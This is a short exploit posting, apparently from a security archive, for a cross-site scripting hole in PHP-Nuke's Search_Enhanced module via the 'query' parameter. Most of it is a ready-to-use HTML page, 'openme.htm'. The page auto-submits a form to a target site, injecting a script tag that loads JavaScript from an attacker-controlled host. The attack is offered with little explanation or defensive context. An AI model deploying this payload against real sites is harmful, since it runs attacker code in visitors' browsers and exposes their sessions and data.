The modules.php script in PHP-Nuke is susceptible to cross site scripting attacks via the query variable.
febc939a7a6f6974420c3354f6878f0795066b420c51b71a67b56d3730be1752PHP-Nuke
Search Cross-Site Scripting Vulnerability
Vulnerable: i think all ver.
data:2005-09-5
exploit :
#openme.htm ::
<html>
<form name=searchform method=post action=http://[target]/modules.php?op=modload&name=Search_Enhanced&file=index>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>
thanks , B~HFH.
email : bhfh@walla.com
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed